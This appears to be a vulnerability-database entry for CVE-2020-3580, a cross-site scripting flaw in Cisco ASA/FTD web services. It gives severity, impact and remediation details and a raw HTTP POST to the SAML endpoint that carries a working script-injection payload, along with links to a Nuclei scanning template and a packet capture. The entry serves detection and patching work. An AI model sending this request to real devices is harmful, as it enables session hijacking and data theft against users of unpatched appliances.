| Title | Cisco ASA/FTD Software - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.925 |
| CVE ID | CVE-2020-3580 |
| CWE ID | CWE-79 |
| Tags | cve cve2020 xss cisco kev vkev vuln |
Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links.
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
SAMLResponse=%22%3E%3Csvg/onload=alert(/38FTthm1mBc5nApAeHA9ztxmYYc/)%3E
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-3580.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-3580.pcap
N/AN/A